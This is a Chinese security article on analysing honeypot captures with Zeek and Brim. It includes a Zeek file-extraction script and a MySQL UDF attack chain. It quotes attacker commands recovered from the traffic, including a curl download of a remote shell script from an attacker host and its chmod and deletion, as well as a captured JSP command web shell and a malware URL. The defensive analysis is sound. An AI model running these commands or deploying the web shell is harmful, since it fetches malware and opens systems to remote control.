用Brim分析蜜罐流量不亦乐乎 - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

工控安全

用Brim分析蜜罐流量不亦乐乎

2020-08-04 17:51:38

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

一、两个流量分析工具简介

1.1 Zeek简介

Zeek (曾用名Bro) 是一款大名鼎鼎的开源网络安全分析工具。Zeek 可以监测网络流量中的可疑活动，通过 Zeek 的脚本可以实现灵活的分析功能，可实现多种协议的开相机用的分析。详情请参考官网-https://zeek.org/

1.2 Brim简介

2020年3月份，美国Brimsecurity公司开源了：

Brim(https://github.com/brimsec/brim)

这个工具综合了Wireshark和Zeek(以前的Bro)的特点，特别适合处理大数据量的pcap文件，从流量分析中发现潜在的问题。它由下面的组件组成：

① 结构化日志查询引擎 ZQ

② 用于多平台用户界面的 Electron 和 React

③ 从数据包捕获文件生成网络分析数据的 Zeek

Brim的出现有以下重要的意义：

① 站在Zeek的肩膀上分析pcap文件，可以在桌面上进行查找分析metadata，并且对于具体的流量数据可以用wireshark观看

② 另外就是它的创始人Steve McCanne（一个大牛人，libcap的作者，tcpdump的co-author）的原话：We wanted to reduce the time it takes anyone – expert incident responders and threat hunters, or someone just looking to win a capture-the-flag contest – to find interesting data in big pcaps and logs.

这里，我很负责人的告诉大家，Brim有毒，极其容易上瘾，慎用……

二、蜜罐巡游

笔者在互联网上部署了若干蜜罐，开放了SSH, MongoDB, MySQL, Telnet等服务，每天可以接收到大量的威胁攻击信息，所有的攻击流量都会自动保存。我们先选取MySQL蜜罐看一下发生的事件。

到Virustotal查看URL:

http://154.209.236.172:8900/3306.exe

发现：

所以根据这个蜜罐里的发现，我们可以推断出这个攻击手法：

1）攻击者想把MySQL server变成一个远程执行代码的肉鸡；

2）通过暴力破解用户并登陆成功；

3）创建一个数据表，插入一个执行文件的十六进制文本到这个表中；

4）查询此表并且将十六进制文件保存到本地文件cna12.dll；

5）通过MySQL中的UDF功能(User Define Function)来加载此dll文件，这里是xpdl3；

6）远程抓取malware文件到本地执行；

7）清理现场。

这所有的一切都被蜜罐抓的清清楚楚，无所遁形。

接下来，让我们依次用Zeek和Brim分析一下蜜罐流量。

三、Zeek来分析蜜罐流量

3.1 Zeek还原的日志

默认的还原不带文件，所以我们需要写一段程序- file.zeek如下所示，这里demo我们只写几种常见的文件类型，如果需要可以继续补充：

global mime_to_ext: table[string] of string = {    ["application/x-dosexec"] = "exe",    ["text/plain"] = "txt",    ["image/jpeg"] = "jpg",    ["image/png"] = "png",    ["application/zip"] = "zip",    ["text/html"] = "html",};event file_sniff(f: fa_file, meta: fa_metadata)    {    if ( ! meta?$mime_type )        return;    if ( meta$mime_type !in mime_to_ext )        return;    local fname = fmt("%s-%s.%s", f$source, f$id, mime_to_ext[meta$mime_type]);    print fmt("Extracting file %s", fname);    Files::add_analyzer(f, Files::ANALYZER_EXTRACT, [$extract_filename=fname]);    }

然后再执行下面的程序就可以把文件还原出来：

zeek -C -r file.zeek 20200428.pcap

从流量还原出来的文件类型，看起来有2种类型，都是在file.log中。

3.1.1 Txt文件

① sshd.sh

面对如此茫茫多的txt文件，没办法，选几个打开看看里面的内容，下面的内容引起了我的好奇心，而好奇心是威胁狩猎的一个必要条件哦：

HTTP-FWLSSm25obb5LVub12.txt:

cmd=curl http://ionage.theworkpc.com:8088/sshd.sh -o /var/tmp/juliuscaesar.sh

HTTP-FbsGTSGkR3kPlCIJ4.txt:

cmd=chmod 777 /var/tmp/juliuscaesar.sh

HTTP-FYHAb81wQsh3uX7zob.txt:

cmd=rm -rf /var/tmp/juliuscaesar.sh

其实Zeek把所有http的POST请求都当作文件了，因为POST请求的大小未知，不能放在metadata里。这时候我们要继续寻找关联根据id。

3.1.2 Html文件

在html文件中找到了若干通过shell执行的命令：

HTTP-F5L3Vz1cFSc4GTK8S4.html<HTML><BODY>Commands with JSP<FORM METHOD="GET" NAME="myform" ACTION=""><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" VALUE="Send"></FORM><pre>Command: rm -rf /var/tmp/juliuscaesar.sh<BR></pre></BODY></HTML>

(1) 关联分析1 - connection.log

这时候我们在做关联分析在connection.log中搜索

1588040467.536103 FYHAb81wQsh3uX7zob   205.185.125.243  192.168.101.17   C5SkskjFWCjSkzb89 HTTP   0   (empty)    text/plain -   0.000000  -   T   35  35  0   0   F   -   -   -   -    -   -   -1588040467.536135 F5L3Vz1cFSc4GTK8S4   192.168.101.17   205.185.125.243  C5SkskjFWCjSkzb89 HTTP   0   (empty)    text/html -   0.000000  -   F   225 225 0   0   F   -   -   -   -    -   -   -

这样一来可以这么解释：攻击者（205.185.125.243）向我们的Tomcat蜜罐（内网地址是192.168.101.17，外网地址省略），由于这个蜜罐可以上传文件，所以攻击者上传了一个shell文件（文件在哪里呢？请看下一小节），然后执行了相应的删除指令。

(2) 关联分析2 - http.log

然后我们再做关联分析，在http.log中进行搜索，才发现上传了cmd.jsp这个文件。

1588040467.536103 C5SkskjFWCjSkzb89 205.185.125.243  51172  192.168.101.17   8080   1    POST   172.105.96.197   /jsp_app/cmd.jsp -   1.1 curl/7.47.0   -   35  225 200 (empty)    -   -   (empty)    -   -   -   FYHAb81wQsh3uX7zob   -   text/plain F5L3Vz1cFSc4GTK8S4    -   text/html

3.2 其它的日志文件 - DNS

3.2.1 dns.log

看着这个日志，发现几乎都是来自192.168.1.6这个Telnet蜜罐的，内容如下：

1588003200.059386 CbkyJ72qaH0OTpRE94   192.168.101.6 55979  23.239.18.5   53  udp 50213    -   188.203.82.42.in-addr.arpa  1   C_INTERNET 12  PTR -   -   F   F   T   F   0   -   -    F

是攻击者登陆到我们的Telnet蜜罐，向这个DNS域名服务器23.239.18.5请求42.82.203.188的反向域名。这里需要注意IPv4的Reverse DNS lookup。

For example, to do a reverse lookup of the IP address 8.8.4.4 the PTR record for the domain name 4.4.8.8.in-addr.arpa would be looked up, and found to point to google-public-dns-b.google.com.

写到这里，大家都明白了：在蜜罐里做DNS查询能有啥好事情呢？

嗯，我们通过Zeek做了一定的分析，不管怎样，还是分析出一些东西，现在激动人心的时刻到了，Brim会给我们带来什么惊喜呢？